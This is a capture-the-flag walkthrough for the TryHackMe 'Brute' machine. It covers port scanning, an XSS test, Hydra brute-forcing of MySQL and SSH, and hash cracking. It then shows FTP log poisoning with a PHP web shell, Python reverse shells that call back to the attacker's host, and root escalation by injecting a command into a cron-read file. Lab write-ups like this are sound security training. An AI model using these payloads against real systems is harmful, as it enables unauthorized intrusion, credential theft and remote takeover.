Skip to main content

Tryhackme

BRUTE

Since this is a medium machine I will try to not go into much detail about the commands and parameters that I will use.

Thanks again TryHackMe and hadrian3689 for this machine!

First step

For ease of use the first step will be exporting the ip as an environment variable like so:

export IP=TARGETIP

First scan

Just want to check which ports we find.

nmap -p- -v -oN nmap/ports $IP

Second scan

We discovered 4 open ports:

  • 21/tcp FTP
  • 22/tcp SSH
  • 80/tcp HTTP
  • 3306/tcp MYSQL

Now we scan those ports more specifically for their services and run some scripts too.

nmap -p 21,22,80,3306 -v -A - sC -oN nmap/init $IP

Results

21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open  mysql   MySQL 8.0.28-0ubuntu0.20.04.3

More enumeration

  • Gobuster
  • Nikto

Gobuster

Command:

dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,js,sh,cgi,py,txt,py,css

Results:

/.html                (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 1080]
/.php                 (Status: 403) [Size: 277]
/welcome.php          (Status: 302) [Size: 0] [--> login.php]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/config.php           (Status: 200) [Size: 0]

Seems like a standard login portal, but config.php is worth checking out.

Okay, an empty config.php.

Nikto

Command:

nikto -h http://$IP

Results (interesting regarding our gobuster results):

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

Checking for XSS

There are multiple ways for XSS, in this case we will just try the classical "alert" test.

How does this work? We create a small payload in javascript that will create an alert pop-up window that displays "lol" like so:

"><scrIpt>alert('lol');</scRipt>

Enter the payload into the "username" field and hit enter.

Perfect.

Why does this work? If we inspect the code, we can see that the input which is taken from the username field is not sanitized or validated. Any script or html tags inside this field will be executed.
We add " before our payload to close the "name" attribute and with > we close the "input" element. The "> at the end is are the original closing quotes for the "name" attribute and the closing tag for the input element. They are now displayed on the page as text.

<input type="text" name="username" class="form-control " value=""><h1>LOLOLOLOLOLOL</h1>">

Now comes the catch. What know...I do not know. I am off researching...BUT! We do not idle, since the box is called brute, we will brute. Lets try to brute-force MySQL with hydra.

Hydra brute-forcing MySQL

The command:

hydra -l root -P /path/to/wordlist/I/recommend/rockyou.txt $IP mysql

We try the root user, because why not try the default username.

The result, which was there before I had even switched back to my notes, is as you guess by the speed a successful brute-force attack.

MySQL

I tried Metasploit, but it failed for me with "connection timedout" on several modules.

Manually then...connecting to the database(enter the IP and do not use the variable we created):

mysql -u root -p -h IP

MySQL [(none)]>

Lets poke around, first we will check what permissions we have:

SHOW GRANTS;

+--------------------------------------------------------------------------+
| Grants for root@%                                                        |
+--------------------------------------------------------------------------+
| GRANT SELECT ON *.* TO `root`@`%` WITH GRANT OPTION                      |
| GRANT AUTHENTICATION_POLICY_ADMIN ON *.* TO `root`@`%` WITH GRANT OPTION |
| GRANT SELECT ON `website`.* TO `root`@`%`                                |
+--------------------------------------------------------------------------+
SHOW DATABASES;

+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| website            |
+--------------------+

Interesting, there is one database which seems particularly interesting to us.
To select this database and run queries against it we enter:

USE website;

MySQL [website]>

From here we list the tables where we hope to find a user and/or password hashes:

SHOW TABLES;

+-------------------+
| Tables_in_website |
+-------------------+
| users             |
+-------------------+

The following query can explode if the table is very large, but I think we will be okay here

MySQL [website]> SELECT * FROM users;
+----+----------+--------------------------------------------------------------+---------------------+
| id | username | password                                                     | created_at          |
+----+----------+--------------------------------------------------------------+---------------------+
|  1 | ******   | ********************GOFINDTHEHASHYOURSELF******************* | 2021-10-20 02:43:42 |
+----+----------+--------------------------------------------------------------+---------------------+

Cracking the hash

We start by adding the hash to a file, which makes it easier to handle:

echo 'YOURFRESHHASH' > hash

We use john to crack the hash, either we research which hashing algorithm was used or we just launch it...LAUNCH!

john hash /path/to/wordlist/I/recommend/rockyou.txt

If john finishes it shows the password in orange, you may miss it. For the latter, you can use:

john --show "passwordfile"

Logging in and LFI // Log poisoning

With our newly acquired username:password we are heading back to the homepage and try to log in.

Success! We are presented with a button "log" and a logout button.

Pressing the log button prints out a log file.
We see our own IP here, I guess pressing the log button is executing a command on the server. I am sure we can leverage that.
Lets try to login via ssh and ftp to see if they occur in the log.

ssh root@$IP

ftp root@$IP

Only ftp appears, I could have known that because the log shows my previous anonymous login tries.

I tried some things in the source code with the log button, but I gave I up since I was not sure about what I was doing. So I started researching. What do we look for?

We have a POST request that is sent from a php page, executes a command on a Linux server and returns the output to the page. Specifically a log file. This lead me to LFI, but how can I get code into the log file...

I learned a new term for this kind of LFI "Log poisoning". We will enter the code as name for the ftp login:

ftp 'file=`<?php echo passthru("ls"); ?>`'@$IP

This worked, I tried other things and had to restart the machine several times.

On hacktricks (huge website by the way, need to check it out. But almost to much on it if you do not know what you are looking for) I found <?php system($_GET['c']); ?>

ftp $IP                             
Connected to 10.10.122.229.
220 (vsFTPd 3.0.3)
Name (10.10.122.229:fury): <?php system($_GET['c']); ?>

This enables us to enter commands in the URL as follows:

Reverse shell

Lets start a netcat listener:

nc -lnvp 4444
listening on [any] 4444 ...

After countless tries...This site had the right shell. "python3 #1" made it.

Pay attention, RHOST="YOURIP" has to use quotes (it is a string), RPORT=YOURPORT does not use quotes (it is an integer)

http://TARGETIP/welcome.php?c=export RHOST="YOURIP";export RPORT=YOURPORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

Once you press log now, your listener should have a connection. Finally we have a shell!

We can stabilize the shell with python.

Enter this in your reverse shell to import pty and spawn a bash shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

With ctrl-z we move the reverse shell to the background and get back to our local terminal where we enter:

stty raw -echo; fg

Then paste this to set the terminal emulator to xterm

export TERM=xterm

Hit enter, now the shell should be stabilized.
This method only works if the target machine has python installed.

Enumerating and Escalating

We can explore the server a bit. The home folder contains the user "adrian", that's about it.
Everything in this folder is off-limits for us (www-data) at the moment.

Wait...did not check for hidden files:

ls -lah

-rw-r--r-- 1 adrian adrian    43 Oct 20  2021 .reminder

cat .reminder
Rules:
best of 64
+ exclamation

ettubrute

Two files, the one shown above and another one that will certainly (I hope) come in handy later. For now we focus on ".reminder"/

Off to google we go...keep it simple is my motto, we search for "rules best of 64", first to links are hashcat related with the "best.64" rule.
I guess this reminder contains some kind of password rule. It took a while, now I found this: https://infinitelogins.com/2020/11/16/using-hashcat-rules-to-create-custom-wordlists/

Actually exactly what we need, I think "ettubrute" is the "base" word for our word list. Lets give it a shot:

We create our custom rule set to append an exclamation mark at the end, more information about that can be found here: https://hashcat.net/wiki/doku.php?id=rule_based_attack

echo '$!' > add_exclam.rule

Create the base list:

echo ettubrute > start.txt

Send it:

hashcat --force start.txt -r add_exclam.rule -r /usr/share/hashcat/rules/best64.rule --stdout | sort -u > pleasework.txt

The list looks good, but not perfect. The exclamation marks are not all at the end, but I don't care. We will send it anyways.

Hydra-time again:

hydra -l adrian -I -P pleasework.txt ssh://$IP


1 of 1 target successfully completed, 1 valid password found

Enumerating and escalating once more

But first do not forget what we are here for...flags...get user.txt...and a cookie!

sudo -l
[sudo] password for adrian: 
Sorry, user adrian may not run sudo on brute.

But I remember a file in the home directory.

ls -l

drwxr-xr-x 3 nobody nogroup 4096 Oct 20  2021 ftp
-rw-r----- 1 adrian adrian  4840 Feb 28 18:36 punch_in
-rw-r----- 1 root   adrian    94 Apr  5  2022 punch_in.sh
drwx------ 3 adrian adrian  4096 Feb 28 18:31 snap
-rw-r----- 1 adrian adrian    21 Apr  5  2022 user.txt

Look at the owner and who can read it, no lets hope there is something useful inside:

cat punch_in.sh

#!/bin/bash

/usr/bin/echo 'Punched in at '$(/usr/bin/date +"%H:%M") >> /home/adrian/punch_in

So this runs as root and it writes "Punched in at XX:XX" to punch_in. After looking at the target file "punch_in" it seems to be executed every minute.
Now checkout the ftp folder.
In "~/ftp/files/" we find:

ls -lah

-rw-r----- 1 adrian adrian   203 Oct 20  2021 .notes
-rw-r----- 1 adrian adrian    90 Oct 21  2021 script

cat .notes

That silly admin
He is such a micro manager, wants me to check in every minute by writing
on my punch card.

He even asked me to write the script for him.

Little does he know, I am planning my revenge.

cat script

#!/bin/sh
while read line;
do
  /usr/bin/sh -c "echo $line";
done < /home/adrian/punch_in

Well. There is something going on here that I do not see.

The script reads all the lines from the punch_in file and writes out each line, but instead of doing it with cat it is done in such a way that you could inject some code there! I smell another reverse shell...if root is involved...

But first lets figure out who does what with those scripts and files, because I am not sure. Pspy to the rescue, you can find it here: https://github.com/DominicBreuker/pspy.

Wget or scp it to /dev/shm/, chmod +x and run it.

2023/02/28 20:01:01 CMD: UID=0     PID=135964 | /usr/bin/bash /root/check_in.sh 
2023/02/28 20:01:01 CMD: UID=0     PID=135965 | /usr/bin/sh -c echo Punched in at 19:42

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash

I do not totally get why but script is run by root, for reference I threw in the passwd root entry (UID=0).

I do not know if this method is the best, but the only thing that comes to my mind is to create a reverse shell off of this script. If we could echo $line a command that would be executed...Lets try.

$line will be one of the lines in punch_in, so we have to add our command there. Here I found how to execute a command with echo.

I recommend to open pspy in a different terminal and to keep an eye on it. Edit the punch_in file after you see the processes update in pspy.

Do not forget to start a listener.

$(python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOURIP",YOURPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')

Congrats! Get the root flag.

Now we find the explanation too why the whole thing works, in root we find a script called "check_in.sh" which does the same as the script in ~/adrian/ftp/files/.